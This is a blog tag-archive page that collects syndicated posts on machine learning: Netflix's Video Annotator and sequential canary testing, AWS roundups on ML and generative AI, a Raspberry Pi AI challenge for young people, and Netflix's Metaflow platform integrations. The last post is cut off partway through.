Tag Archives: machine learning

Video annotator: building video classifiers using vision-language models and active learning

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/video-annotator-building-video-classifiers-using-vision-language-models-and-active-learning-8ebdda0b2db4

Video annotator: a framework for efficiently building video classifiers using vision-language models and active learning

Amir Ziai, Aneesh Vartakavi, Kelli Griggs, Eugene Lok, Yvonne Jukes, Alex Alonso, Vi Iyengar, Anna Pulido

Introduction

Problem

High-quality and consistent annotations are fundamental to the successful development of robust machine learning models. Conventional techniques for training machine learning classifiers are resource intensive. They involve a cycle where domain experts annotate a dataset, which is then transferred to data scientists to train models, review outcomes, and make changes. This labeling process tends to be time-consuming and inefficient, sometimes halting after a few annotation cycles.

Implications

Consequently, less effort is invested in annotating high-quality datasets compared to iterating on complex models and algorithmic methods to improve performance and fix edge cases. As a result, ML systems grow rapidly in complexity.

Furthermore, constraints on time and resources often result in leveraging third-party annotators rather than domain experts. These annotators perform the labeling task without a deep understanding of the model’s intended deployment or usage, often making consistent labeling of borderline or hard examples, especially in more subjective tasks, a challenge.

This necessitates multiple review rounds with domain experts, leading to unexpected costs and delays. This lengthy cycle can also result in model drift, as it takes longer to fix edge cases and deploy new models, potentially hurting usefulness and stakeholder trust.

Solution

We suggest that more direct involvement of domain experts, using a human-in-the-loop system, can resolve many of these practical challenges. We introduce a novel framework, Video Annotator (VA), which leverages active learning techniques and zero-shot capabilities of large vision-language models to guide users to focus their efforts on progressively harder examples, enhancing the model’s sample efficiency and keeping costs low.

VA seamlessly integrates model building into the data annotation process, facilitating user validation of the model before deployment, therefore helping with building trust and fostering a sense of ownership. VA also supports a continuous annotation process, allowing users to rapidly deploy models, monitor their quality in production, and swiftly fix any edge cases by annotating a few more examples and deploying a new model version.

This self-service architecture empowers users to make improvements without active involvement of data scientists or third-party annotators, allowing for fast iteration.

Video understanding

We design VA to assist in granular video understanding which requires the identification of visuals, concepts, and events within video segments. Video understanding is fundamental for numerous applications such as search and discovery, personalization, and the creation of promotional assets. Our framework allows users to efficiently train machine learning models for video understanding by developing an extensible set of binary video classifiers, which power scalable scoring and retrieval of a vast catalog of content.

Video classification

Video classification is the task of assigning a label to an arbitrary-length video clip, often accompanied by a probability or prediction score, as illustrated in Fig 1.

Fig 1- Functional view of a binary video classifier. A few-second clip from ”Operation Varsity Blues: The College Admissions Scandal” is passed to a binary classifier for detecting the ”establishing shots” label. The classifier outputs a very high score (score is between 0 and 1), indicating that the video clip is very likely an establishing shot. In filmmaking, an establishing shot is a wide shot (i.e. video clip between two consecutive cuts) of a building or a landscape that is intended for establishing the time and location of the scene.

Video understanding via an extensible set of video classifiers

Binary classification allows for independence and flexibility, allowing us to add or improve one model independent of the others. It also has the additional benefit of being easier to understand and build for our users. Combining the predictions of multiple models allows us a deeper understanding of the video content at various levels of granularity, illustrated in Fig 2.

Fig 2- Three video clips and the corresponding binary classifier scores for three video understanding labels. Note that these labels are not mutually exclusive. Video clips are from Operation Varsity Blues: The College Admissions Scandal, 6 Underground, and Leave The World Behind, respectively.

Video Annotator (VA)

In this section, we describe VA’s three-step process for building video classifiers.

Step 1 — search

Users begin by finding an initial set of examples within a large, diverse corpus to bootstrap the annotation process. We leverage text-to-video search to enable this, powered by video and text encoders from a Vision-Language Model to extract embeddings. For example, an annotator working on the establishing shots model may start the process by searching for “wide shots of buildings”, illustrated in Fig 3.

Fig 3- Step 1 — Text-to-video search to bootstrap the annotation process.

Step 2 — active learning

The next stage involves a classic Active Learning loop. VA then builds a lightweight binary classifier over the video embeddings, which is subsequently used to score all clips in the corpus, and presents some examples within feeds for further annotation and refinement, as illustrated in Fig 4.

Fig 4- Step 2 — Active Learning loop. The annotator clicks on build, which initiates classifier training and scoring of all clips in a video corpus. Scored clips are organized in four feeds.

The top-scoring positive and negative feeds display examples with the highest and lowest scores respectively. Our users reported that this provided a valuable indication as to whether the classifier has picked up the correct concepts in the early stages of training and spot cases of bias in the training data that they were able to subsequently fix. We also include a feed of “borderline” examples that the model is not confident about. This feed helps with discovering interesting edge cases and inspires the need for labeling additional concepts. Finally, the random feed consists of randomly selected clips and helps to annotate diverse examples which is important for generalization.

The annotator can label additional clips in any of the feeds and build a new classifier and repeat as many times as desired.

Step 3 — review

The last step simply presents the user with all annotated clips. It’s a good opportunity to spot annotation mistakes and to identify ideas and concepts for further annotation via search in step 1. From this step, users often go back to step 1 or step 2 to refine their annotations.

Experiments

To evaluate VA, we asked three video experts to annotate a diverse set of 56 labels across a video corpus of 500k shots. We compared VA to the performance of a few baseline methods, and observed that VA leads to the creation of higher quality video classifiers. Fig 5 compares VA’s performance to baselines as a function of the number of annotated clips.

Fig 5- Model quality (i.e. Average Precision) as a function of the number of annotated clips for the “establishing shots” label. We observe that all methods outperform the baseline, and that all methods benefit from additional annotated data, albeit to varying degrees.

You can find more details about VA and our experiments in this paper.

Conclusion

We presented Video Annotator (VA), an interactive framework that addresses many challenges associated with conventional techniques for training machine learning classifiers. VA leverages the zero-shot capabilities of large vision-language models and active learning techniques to enhance sample efficiency and reduce costs. It offers a unique approach to annotating, managing, and iterating on video classification datasets, emphasizing the direct involvement of domain experts in a human-in-the-loop system. By enabling these users to rapidly make informed decisions on hard samples during the annotation process, VA increases the system’s overall efficiency. Moreover, it allows for a continuous annotation process, allowing users to swiftly deploy models, monitor their quality in production, and rapidly fix any edge cases.

This self-service architecture empowers domain experts to make improvements without the active involvement of data scientists or third-party annotators, and fosters a sense of ownership, thereby building trust in the system.

We conducted experiments to study the performance of VA, and found that it yields a median 8.3 point improvement in Average Precision relative to the most competitive baseline across a wide-ranging assortment of video understanding tasks. We release a dataset with 153k labels across 56 video understanding tasks annotated by three professional video editors using VA, and also release code to replicate our experiments.


Video annotator: building video classifiers using vision-language models and active learning was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Let’s Architect! Learn About Machine Learning on AWS

Post Syndicated from Luca Mezzalira original https://aws.amazon.com/blogs/architecture/lets-architect-learn-about-machine-learning-on-aws/

A data-driven approach empowers businesses to make informed decisions based on accurate predictions and forecasts, leading to improved operational efficiency and resource optimization. Machine learning (ML) systems have the remarkable ability to continuously learn and adapt, improving their performance over time as they are exposed to more data. This self-learning capability ensures that organizations can stay ahead of the curve, responding dynamically to changing market conditions and customer preferences, ultimately driving innovation and enhancing competitiveness.

By leveraging the power of machine learning on AWS, businesses can unlock benefits that enhance efficiency, improve decision-making, and foster growth.

AWS re:Invent 2023 – Zero to machine learning: Jump-start your data-driven journey

In this session, see how organizations with constrained resources (budgets, skill gaps, time) can jump start their data-driven journey with advanced analytics and ML capabilities. Learn AWS Working Backwards best practices to drive forward data-related projects that address tangible business value. Then dive into AWS analytics and AI/ML capabilities that simplify and expedite data pipeline delivery and business value from ML workloads. Hear about low-code no-code (LCNC) AWS services within the context of a complete data pipeline architecture.

Take me to this video

See an architecture to analyze customer churn using AWS services

Figure 1. See an architecture to analyze customer churn using AWS services

Introduction to MLOps engineering on AWS

As artificial intelligence (AI) continues to revolutionize industries, the ability to operationalize and scale ML models has become a critical challenge. This session introduces the concept of MLOps, a discipline that builds upon and extends the widely adopted DevOps practices prevalent in software development. By applying MLOps principles, organizations can streamline the process of building, training, and deploying ML models, ensuring efficient and reliable model lifecycle management. By mastering MLOps, organizations can bridge the gap between AI development and operations, enabling them to unlock the full potential of their ML initiatives.

Take me to this video

MLOps maturity level will help to assess your organization and understand how to reach the next level.

Figure 2. MLOps maturity level will help to assess your organization and understand how to reach the next level.

Behind-the-scenes look at generative AI infrastructure at Amazon

To power generative AI applications while keeping costs under control, AWS designs and builds machine learning accelerators like AWS Trainium and AWS Inferentia. This session introduces purpose-built ML hardware for model training and inference, and shows how Amazon and AWS customers take advantage of those solutions to optimize costs and reduce latency.

You can learn from practical examples showing the impact of those solutions and explanations about how these chips work. ML accelerators are not only beneficial for generative AI workloads; they can also be applied to other use cases, including representation learning, recommender systems, or any scenario with deep neural network models.

Take me to this video

Discover the technology that powers our AI services

Figure 3. Discover the technology that powers our AI services

How our customers are implementing machine learning on AWS

The following resources drill down into the ML infrastructure that’s used to train large models at Pinterest and the experimentation framework built by Booking.com.

The Pinterest video discusses the strategy to create an ML development environment, orchestrate training jobs, ingest data into the training loop, and accelerate the training speed. You can also learn about the advantages derived from containers in the context of ML and how Pinterest decided to set up the entire ML lifecycle, including distributed model training.

The second resource covers how Booking.com accelerated the experimentation process by leveraging Amazon SageMaker for data analysis, model training, and online experimentation. This resulted in shorter development times for their ranking models and increased speed for the data science teams.

Take me to Pinterest video

Take me to Booking.com blog post

Let’s discover how Pinterest is using AWS services for machine learning workloads

Figure 4. Let’s discover how Pinterest is using AWS services for machine learning workloads

SageMaker Immersion Day

Amazon SageMaker Immersion Day helps customers and partners provide end-to-end understanding of building ML use cases. From feature engineering to understanding various built-in algorithms, with a focus on training, tuning, and deploying the ML model in a production-like scenario, this workshop guides you to bring your own model to perform lift-and-shift from on-premises to the Amazon SageMaker platform. It further demonstrates more advanced concepts like model debugging, model monitoring, and AutoML.

Take me to the workshop

Train, tune and deploy your workload using Amazon SageMaker

Figure 5. Train, tune and deploy your workload using Amazon SageMaker

See you next time!

Thanks for reading! With this post, introduced you to the art of possibility on using AWS machine learning services. In the next blog, we will talk about cloud migrations.

To revisit any of our previous posts or explore the entire series, visit the Let’s Architect! page.

Let’s Architect! Discovering Generative AI on AWS

Post Syndicated from Luca Mezzalira original https://aws.amazon.com/blogs/architecture/lets-architect-generative-ai/

Generative artificial intelligence (generative AI) is a type of AI used to generate content, including conversations, images, videos, and music. Generative AI can be used directly to build customer-facing features (a chatbot or an image generator), or it can serve as an underlying component in a more complex system. For example, it can generate embeddings (or compressed representations) or any other artifact necessary to improve downstream machine learning (ML) models or back-end services.

With the advent of generative AI, it’s fundamental to understand what it is, how it works under the hood, and which options are available for putting it into production. In some cases, it can also be helpful to move closer to the underlying model in order to fine tune or drive domain-specific improvements. With this edition of Let’s Architect!, we’ll cover these topics and share an initial set of methodologies to put generative AI into production. We’ll start with a broad introduction to the domain and then share a mix of videos, blogs, and hands-on workshops.

Navigating the future of AI 

Many teams are turning to open source tools running on Kubernetes to help accelerate their ML and generative AI journeys. In this video session, experts discuss why Kubernetes is ideal for ML, then tackle challenges like dependency management and security. You will learn how tools like Ray, JupyterHub, Argo Workflows, and Karpenter can accelerate your path to building and deploying generative AI applications on Amazon Elastic Kubernetes Service (Amazon EKS). A real-world example showcases how Adobe leveraged Amazon EKS to achieve faster time-to-market and reduced costs. You will be also introduced to Data on EKS, a new AWS project offering best practices for deploying various data workloads on Amazon EKS.

Take me to this video!

Containers are a powerful tool for creating reproducible research and production environments for ML.

Figure 1. Containers are a powerful tool for creating reproducible research and production environments for ML.

Generative AI: Architectures and applications in depth

This video session aims to provide an in-depth exploration of the emerging concepts in generative AI. By delving into practical applications and detailing best practices for implementation, the session offers a concrete understanding that empowers businesses to harness the full potential of these technologies. You can gain valuable insights into navigating the complexities of generative AI, equipping you with the knowledge and strategies necessary to stay ahead of the curve and capitalize on the transformative power of these new methods. If you want to dive even deeper, check this generative AI best practices post.

Take me to this video!

Models are growing exponentially: improved capabilities come with higher costs for productionizing them.

Figure 2. Models are growing exponentially: improved capabilities come with higher costs for productionizing them.

SaaS meets AI/ML & generative AI: Multi-tenant patterns & strategies

Working with AI/ML workloads and generative AI in a production environment requires appropriate system design and careful considerations for tenant separation in the context of SaaS. You’ll need to think about how the different tenants are mapped to models, how inferencing is scaled, how solutions are integrated with other upstream/downstream services, and how large language models (LLMs) can be fine-tuned to meet tenant-specific needs.

This video drills down into the concept of multi-tenancy for AI/ML workloads, including the common design, performance, isolation, and experience challenges that you can find during your journey. You will also become familiar with concepts like RAG (used to enrich the LLMs with contextual information) and fine tuning through practical examples.

Take me to this video!

Supporting different tenants might need fetching different context information with RAGs or offering different options for fine-tuning.

Figure 3. Supporting different tenants might need fetching different context information with RAGs or offering different options for fine-tuning.

Achieve DevOps maturity with BMC AMI zAdviser Enterprise and Amazon Bedrock

DevOps Research and Assessment (DORA) metrics, which measure critical DevOps performance indicators like lead time, are essential to engineering practices, as shown in the Accelerate book‘s research. By leveraging generative AI technology, the zAdviser Enterprise platform can now offer in-depth insights and actionable recommendations to help organizations optimize their DevOps practices and drive continuous improvement. This blog demonstrates how generative AI can go beyond language or image generation, applying to a wide spectrum of domains.

Take me to this blog post!

Generative AI is used to provide summarization, analysis, and recommendations for improvement based on the DORA metrics.

Figure 4. Generative AI is used to provide summarization, analysis, and recommendations for improvement based on the DORA metrics.

Hands-on Generative AI: AWS workshops

Getting hands on is often the best way to understand how everything works in practice and create the mental model to connect theoretical foundations with some real-world applications.

Generative AI on Amazon SageMaker shows how you can build, train, and deploy generative AI models. You can learn about options to fine-tune, use out-of-the-box existing models, or even customize the existing open source models based on your needs.

Building with Amazon Bedrock and LangChain demonstrates how an existing fully-managed service provided by AWS can be used when you work with foundational models, covering a wide variety of use cases. Also, if you want a quick guide for prompt engineering, you can check out the PartyRock lab in the workshop.

An image replacement example that you can find in the workshop.

Figure 5. An image replacement example that you can find in the workshop.

See you next time!

Thanks for reading! We hope you got some insight into the applications of generative AI and discovered new strategies for using it. In the next blog, we will dive deeper into machine learning.

To revisit any of our previous posts or explore the entire series, visit the Let’s Architect! page.

The Experience AI Challenge: Find out all you need to know

Post Syndicated from Liz Eaton original https://www.raspberrypi.org/blog/the-experience-ai-challenge-find-out-all-you-need-to-know/

We’re really excited to see that Experience AI Challenge mentors are starting to submit AI projects created by young people. There’s still time for you to get involved in the Challenge: the submission deadline is 24 May 2024. 

The Experience AI Challenge banner.

If you want to find out more about the Challenge, join our live webinar on Wednesday 3 April at 15:30 BST on our YouTube channel.

During the webinar, you’ll have the chance to:

  • Ask your questions live. Get any Challenge-related queries answered by us in real time. Whether you need clarification on any part of the Challenge or just want advice on your young people’s project(s), this is your chance to ask.
  • Get introduced to the submission process. Understand the steps of submitting projects to the Challenge. We’ll walk you through the requirements and offer tips for making your young people’s submission stand out.
  • Learn more about our project feedback. Find out how we will deliver our personalised feedback on submitted projects (UK only).
  • Find out how we will recognise your creators’ achievements. Learn more about our showcase event taking place in July, and the certificates and posters we’re creating for you and your young people to celebrate submitting your projects.

Subscribe to our YouTube channel and press the ‘Notify me’ button to receive a notification when we go live. 

Why take part? 

The Experience AI Challenge, created by the Raspberry Pi Foundation in collaboration with Google DeepMind, guides young people under the age of 18, and their mentors, through the exciting process of creating their own unique artificial intelligence (AI) project. Participation is completely free.

Central to the Challenge is the concept of project-based learning, a hands-on approach that gets learners working together, thinking critically, and engaging deeply with the materials. 

A teacher and three students in a classroom. The teacher is pointing at a computer screen.

In the Challenge, young people are encouraged to seek out real-world problems and create possible AI-based solutions. By taking part, they become problem solvers, thinkers, and innovators. 

And to every young person based in the UK who creates a project for the Challenge, we will provide personalised feedback and a certificate of achievement, in recognition of their hard work and creativity. Any projects considered as outstanding by our experts will be selected as favourites and its creators will be invited to a showcase event in the summer. 

Resources ready for your classroom or club

You don’t need to be an AI expert to bring this Challenge to life in your classroom or coding club. Whether you’re introducing AI for the first time or looking to deepen your young people’s knowledge, the Challenge’s step-by-step resource pack covers all you and your young people need, from the basics of AI, to training a machine learning model, to creating a project in Scratch.  

In the resource pack, you will find:

  • The mentor guide contains all you need to set up and run the Challenge with your young people 
  • The creator guide supports young people throughout the Challenge and contains talking points to help with planning and designing projects 
  • The blueprint workbook helps creators keep track of their inspiration, ideas, and plans during the Challenge 

The pack offers a safety net of scaffolding, support, and troubleshooting advice. 

Find out more about the Experience AI Challenge

By bringing the Experience AI Challenge to young people, you’re inspiring the next generation of innovators, thinkers, and creators. The Challenge encourages young people to look beyond the code, to the impact of their creations, and to the possibilities of the future.

You can find out more about the Experience AI Challenge, and download the resource pack, from the Experience AI website.

The post The Experience AI Challenge: Find out all you need to know appeared first on Raspberry Pi Foundation.

Sequential Testing Keeps the World Streaming Netflix Part 2: Counting Processes

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/sequential-testing-keeps-the-world-streaming-netflix-part-2-counting-processes-da6805341642

Michael Lindon, Chris Sanden, Vache Shirikian, Yanjun Liu, Minal Mishra, Martin Tingley

Have you ever encountered a bug while streaming Netflix? Did your title stop unexpectedly, or not start at all? In the first installment of this blog series on sequential testing, we described our canary testing methodology for continuous metrics such as play-delay. One of our readers commented

What if the new release is not related to a new play/streaming feature? For example, what if the new release includes modified login functionality? Will you still monitor the “play-delay” metric?

Netflix monitors a large suite of metrics, many of which can be classified as counts. These include metrics such as the number of logins, errors, successful play starts, and even the number of customer call center contacts. In this second installment, we describe our sequential methodology for testing count metrics, outlined in the NeurIPS paper Anytime Valid Inference for Multinomial Count Data.

Spot the Difference

Suppose we are about to deploy new code that changes the login behavior. To de-risk the software rollout we A/B test the new code, known also as a canary test. Whenever an event such as a login occurs, a log flows through our real-time backend and the corresponding timestamp is recorded. Figure 1 illustrates the sequences of timestamps generated by devices assigned to the new (treatment) and existing (control) software versions. A question that naturally concerns us is whether there are fewer login events in the treatment. Can you tell?

Figure 1: Timestamps of events occurring in control and treatment

It is not immediately obvious by simple inspection of the point processes in Figure 1. The difference becomes immediately obvious when we visualize the observed counting processes, shown in Figure 2.

Figure 2: Visualizing the counting processes — the number of events observed by time t

The counting processes are functions that increment by 1 whenever a new event arrives. Clearly, there are fewer events occurring in the treatment than in the control. If these were login events, this would suggest that the new code contains a bug that prevents some users from being able to log in successfully.

This is a common situation when dealing with event timestamps. To give another example, if events corresponded to errors or crashes, we would like to know if these are accruing faster in the treatment than in the control. Moreover, we want to answer that question as quickly as possible to prevent any further disruption to the service. This necessitates sequential testing techniques which were introduced in part 1.

Time-Inhomogeneous Poisson Process

Our data for each treatment group is a realization of a one-dimensional point process, that is, a sequence of timestamps. As the rate at which the events arrive is time-varying (in both treatment and control), we model the point process as a time-inhomogeneous Poisson point process. This point process is defined by an intensity function λ: ℝ → [0, ∞). The number of events in the interval [0,t), denoted N(t), has the following Poisson distribution

N(t) ~ Poisson(Λ(t)), where Λ(t) = ∫₀ᵗ λ(s) ds.

We seek to test the null hypothesis H₀: λᴬ(t) = λᴮ(t) for all t i.e. the intensity functions for control (A) and treatment (B) are the same. This can be done semiparametrically without making any assumptions about the intensity functions λᴬ and λᴮ. Moreover, the novelty of the research is that this can be done sequentially, as described in section 4 of our paper. Conveniently, the only data required to test this hypothesis at time t is Nᴬ(t) and Nᴮ(t), the total number of events observed so far in control and treatment. In other words, all you need to test the null hypothesis is two integers, which can easily be updated as new events arrive. Here is an example from a simulated A/A test, in which we know by design that the intensity function is the same for the control (A) and the treatment (B), albeit nonstationary.

Figure 3: (Left) An A/A simulation of two inhomogeneous Poisson point processes. (Right) Confidence sequence on the log-difference of intensity functions, and sequential p-value.

Figure 3 provides an illustration of an A/A setting. The left figure presents the raw data and the intensity functions, and the right figure presents the sequential statistical analysis. The blue and red rug plots indicate the observed arrival timestamps of events from the treatment and control streams respectively. The dashed lines are the observed counting processes. As this data is simulated under the null, the intensity functions are identical and overlay each other. The left axis of the right figure visualizes the evolution of the confidence sequence on the log-difference of intensity functions. The right axis of the right figure visualizes the evolution of the sequential p-value. We can make the two following observations

  • Under the null, the difference of log intensities is zero, which is correctly covered by the 0.95 confidence sequence at all times.
  • The sequential p-value is greater than 0.05 at all times

Now let’s consider an illustration of an A/B setting. Figure 4 shows observed arrival times for treatment and control when the intensity functions differ. As this is a simulation, the true difference between log intensities is known.

Figure 4: (Left) An A/B simulation of two inhomogeneous Poisson point processes. (Right) Confidence sequence on the difference of log of intensity functions, and sequential p-value.

We can make the following observations

  • The 0.95 confidence sequence covers the true log-difference at all times
  • The sequential p-value falls below 0.05 at the same time the 0.95 confidence sequence excludes the null value of zero

Now we present a number of case studies where this methodology has rapidly detected serious problems in a number of count metrics

Case Study 1: Drop in Successful Title Starts

Figure 2 actually presents counts of title start events from a real canary test. Whenever a title starts successfully, an event is sent from the device to Netflix. We have a stream of title start events from treatment devices and a stream of title start events from control devices. Whenever fewer title starts are observed among treatment devices, there is usually a bug in the new client preventing playback.

In this case, the canary test detected a bug that was later determined to have prevented approximately 60% of treatment devices from being able to start their streams. The confidence sequence is shown in Figure 5, in addition to the (sequential) p-value. While the exact units of time have been omitted, this bug was detected at the sub-second level.

Figure 5: 0.99 Confidence sequence on the difference of log-intensities with sequential p-value.

Case Study 2: Increase in Abnormal Shutdowns

In addition to title start events, we also monitor whenever the Netflix client shuts down unexpectedly. As before, we have two streams of abnormal shutdown events, one from treatment devices, and one from control devices. The following screenshots are taken directly from our Lumen dashboards.

Figure 6: Counts of Abnormal Shutdowns over time, cumulative and non-cumulative. Treatment (Black) and Control (Blue)

Figure 6 illustrates two important points. There is clearly nonstationarity in the arrival of abnormal shutdown events. It is also not easy to visibly see any difference between treatment and control from the non-cumulative view. The difference is, however, much easier to see from the cumulative view by observing the counting process. There is a small but visible increase in the number of abnormal shutdowns in the treatment. Figure 7 shows how our sequential statistical methodology is even able to identify such small differences.

Figure 7: Abnormal Shutdowns. (Top Panel) Confidence sequences on λᴮ(t)/λᴬ(t) (shaded blue) with observed counting processes for treatment (black dashed) and control (blue dashed). (Bottom Panel) sequential p-values.

Case Study 3: Increase in Errors

Netflix also monitors the number of errors produced by treatment and control. This is a high cardinality metric as every error is annotated with a code indicating the type of error. Monitoring errors segmented by code helps developers diagnose issues quickly. Figure 8 shows the sequential p-values, on the log scale, for a set of error codes that Netflix monitors during client rollouts. In this example, we have detected a higher volume of 3.1.18 errors being produced by treatment devices. Devices experiencing this error are presented with the following message:

“We’re having trouble playing this title right now”

Figure 8: Sequential p-values for start play errors by error code
Figure 9: Observed error-3.1.18 timestamps and counting processes for treatment (blue) and control (red)

Knowing which errors increased can streamline the process of identifying the bug for our developers. We immediately send developers alerts through Slack integrations, such as the following

Figure 10: Notifications via Slack Integrations

The next time you are watching Netflix and encounter an error, know that we’re on it!

Try it Out!

The statistical approach outlined in our paper is remarkably easy to implement in practice. All you need are two integers, the number of events observed so far in the treatment and control. The code is available in this short GitHub gist. Here are two usage examples:

> counts = [100, 101]
> assignment_probabilities = [0.5, 0.5]
> sequential_p_value(counts, assignment_probabilities)
1

> counts = [100, 201]
> assignment_probabilities = [0.5, 0.5]
> sequential_p_value(counts, assignment_probabilities)
5.06061172163498e-06

The code generalizes to more than just two treatment groups. For full details, including hyperparameter tuning, see section 4 of the paper.

Further Reading


Sequential Testing Keeps the World Streaming Netflix Part 2: Counting Processes was originally published in Netflix TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Supporting Diverse ML Systems at Netflix

Post Syndicated from Netflix Technology Blog original https://netflixtechblog.com/supporting-diverse-ml-systems-at-netflix-2d2e6b6d205d

David J. Berg, Romain Cledat, Kayla Seeley, Shashank Srikanth, Chaoying Wang, Darin Yu

Netflix uses data science and machine learning across all facets of the company, powering a wide range of business applications from our internal infrastructure and content demand modeling to media understanding. The Machine Learning Platform (MLP) team at Netflix provides an entire ecosystem of tools around Metaflow, an open source machine learning infrastructure framework we started, to empower data scientists and machine learning practitioners to build and manage a variety of ML systems.

Since its inception, Metaflow has been designed to provide a human-friendly API for building data and ML (and today AI) applications and deploying them in our production infrastructure frictionlessly. While human-friendly APIs are delightful, it is really the integrations to our production systems that give Metaflow its superpowers. Without these integrations, projects would be stuck at the prototyping stage, or they would have to be maintained as outliers outside the systems maintained by our engineering teams, incurring unsustainable operational overhead.

Given the very diverse set of ML and AI use cases we support — today we have hundreds of Metaflow projects deployed internally — we don’t expect all projects to follow the same path from prototype to production. Instead, we provide a robust foundational layer with integrations to our company-wide data, compute, and orchestration platform, as well as various paths to deploy applications to production smoothly. On top of this, teams have built their own domain-specific libraries to support their specific use cases and needs.

In this article, we cover a few key integrations that we provide for various layers of the Metaflow stack at Netflix, as illustrated above. We will also showcase real-life ML projects that rely on them, to give an idea of the breadth of projects we support. Note that all projects leverage multiple integrations, but we highlight them in the context of the integration that they use most prominently. Importantly, all the use cases were engineered by practitioners themselves.

These integrations are implemented through Metaflow’s extension mechanism which is publicly available but subject to change, and hence not a part of Metaflow’s stable API yet. If you are curious about implementing your own extensions, get in touch with us on the Metaflow community Slack.

Let’s go over the stack layer by layer, starting with the most foundational integrations.

Data: Fast Data

Our main data lake is hosted on S3, organized as Apache Iceberg tables. For ETL and other heavy lifting of data, we mainly rely on Apache Spark. In addition to Spark, we want to support last-mile data processing in Python, addressing use cases such as feature transformations, batch inference, and training. Occasionally, these use cases involve terabytes of data, so we have to pay attention to performance.

To enable fast, scalable, and robust access to the Netflix data warehouse, we have developed a Fast Data library for Metaflow, which leverages high-performance components from the Python data ecosystem:

As depicted in the diagram, the Fast Data library consists of two main interfaces:

  • The Table object is responsible for interacting with the Netflix data warehouse which includes parsing Iceberg (or legacy Hive) table metadata, resolving partitions and Parquet files for reading. Recently, we added support for the write path, so tables can be updated as well using the library.
  • Once we have discovered the Parquet files to be processed, MetaflowDataFrame takes over: it downloads data using Metaflow’s high-throughput S3 client directly to the process’ memory, which often outperforms reading of local files.

We use Apache Arrow to decode Parquet and to host an in-memory representation of data. The user can choose the most suitable tool for manipulating data, such as Pandas or Polars to use a dataframe API, or one of our internal C++ libraries for various high-performance operations. Thanks to Arrow, data can be accessed through these libraries in a zero-copy fashion.

We also pay attention to dependency issues: (Py)Arrow is a dependency of many ML and data libraries, so we don’t want our custom C++ extensions to depend on a specific version of Arrow, which could easily lead to unresolvable dependency graphs. Instead, in the style of nanoarrow, our Fast Data library only relies on the stable Arrow C data interface, producing a hermetically sealed library with no external dependencies.

Example use case: Content Knowledge Graph

Our knowledge graph of the entertainment world encodes relationships between titles, actors and other attributes of a film or series, supporting all aspects of business at Netflix.

A key challenge in creating a knowledge graph is entity resolution. There may be many different representations of slightly different or conflicting information about a title which must be resolved. This is typically done through a pairwise matching procedure for each entity which becomes non-trivial to do at scale.

This project leverages Fast Data and horizontal scaling with Metaflow’s foreach construct to load large amounts of title information — approximately a billion pairs — stored in the Netflix Data Warehouse, so the pairs can be matched in parallel across many Metaflow tasks.

We use metaflow.Table to resolve all input shards which are distributed to Metaflow tasks which are responsible for processing terabytes of data collectively. Each task loads the data using metaflow.MetaflowDataFrame, performs matching using Pandas, and populates a corresponding shard in an output Table. Finally, when all matching is done and data is written the new table is committed so it can be read by other jobs.

Compute: Titus

Whereas open-source users of Metaflow rely on AWS Batch or Kubernetes as the compute backend, we rely on our centralized compute-platform, Titus. Under the hood, Titus is powered by Kubernetes, but it provides a thick layer of enhancements over off-the-shelf Kubernetes, to make it more observable, secure, scalable, and cost-efficient.

By targeting @titus, Metaflow tasks benefit from these battle-hardened features out of the box, with no in-depth technical knowledge or engineering required from the ML engineers or data scientist end. However, in order to benefit from scalable compute, we need to help the developer to package and rehydrate the whole execution environment of a project in a remote pod in a reproducible manner (preferably quickly). Specifically, we don’t want to ask developers to manage Docker images of their own manually, which quickly results in more problems than it solves.

This is why Metaflow provides support for dependency management out of the box. Originally, we supported only @conda, but based on our work on Portable Execution Environments, open-source Metaflow gained support for @pypi a few months ago as well.

Example use case: Building model explainers

Here’s a fascinating example of the usefulness of portable execution environments. For many of our applications, model explainability matters. Stakeholders like to understand why models produce a certain output and why their behavior changes over time.

There are several ways to provide explainability to models but one way is to train an explainer model based on each trained model. Without going into the details of how this is done exactly, suffice to say that Netflix trains a lot of models, so we need to train a lot of explainers too.

Thanks to Metaflow, we can allow each application to choose the best modeling approach for their use cases. Correspondingly, each application brings its own bespoke set of dependencies. Training an explainer model therefore requires:

  1. Access to the original model and its training environment, and
  2. Dependencies specific to building the explainer model.

This poses an interesting challenge in dependency management: we need a higher-order training system, “Explainer flow” in the figure below, which is able to take a full execution environment of another training system as an input and produce a model based on it.

Explainer flow is event-triggered by an upstream flow, such Model A, B, C flows in the illustration. The build_environment step uses the metaflow environment command provided by our portable environments, to build an environment that includes both the requirements of the input model as well as those needed to build the explainer model itself.

The built environment is given a unique name that depends on the run identifier (to provide uniqueness) as well as the model type. Given this environment, the train_explainer step is then able to refer to this uniquely named environment and operate in an environment that can both access the input model as well as train the explainer model. Note that, unlike in typical flows using vanilla @conda or @pypi, the portable environments extension allows users to also fetch those environments directly at execution time as opposed to at deploy time which therefore allows users to, as in this case, resolve the environment right before using it in the next step.

Orchestration: Maestro

If data is the fuel of ML and the compute layer is the muscle, then the nerves must be the orchestration layer. We have talked about the importance of a production-grade workflow orchestrator in the context of Metaflow when we released support for AWS Step Functions years ago. Since then, open-source Metaflow has gained support for Argo Workflows, a Kubernetes-native orchestrator, as well as support for Airflow which is still widely used by data engineering teams.

Internally, we use a production workflow orchestrator called Maestro. The Maestro post shares details about how the system supports scalability, high-availability, and usability, which provide the backbone for all of our Metaflow projects in production.

A hugely important detail that often goes overlooked is event-triggering: it allows a team to integrate their Metaflow flows to surrounding systems upstream (e.g. ETL workflows), as well as downstream (e.g. flows managed by other teams), using a protocol shared by the whole organization, as exemplified by the example use case below.

Example use case: Content decision making

One of the most business-critical systems running on Metaflow supports our content decision making, that is, the question of what content Netflix should bring to the service. We support a massive scale of over 260M subscribers spanning over 190 countries representing hugely diverse cultures and tastes, all of whom we want to delight with our content slate. Reflecting the breadth and depth of the challenge, the systems and models focusing on the question have grown to be very sophisticated.

We approach the question from multiple angles but we have a core set of data pipelines and models that provide a foundation for decision making. To illustrate the complexity of just the core components, consider this high-level diagram:

In this diagram, gray boxes represent integrations to partner teams downstream and upstream, green boxes are various ETL pipelines, and blue boxes are Metaflow flows. These boxes encapsulate hundreds of advanced models and intricate business logic, handling massive amounts of data daily.

Despite its complexity, the system is managed by a relatively small team of engineers and data scientists autonomously. This is made possible by a few key features of Metaflow:

The team has also developed their own domain-specific libraries and configuration management tools, which help them improve and operate the system.

Deployment: Cache

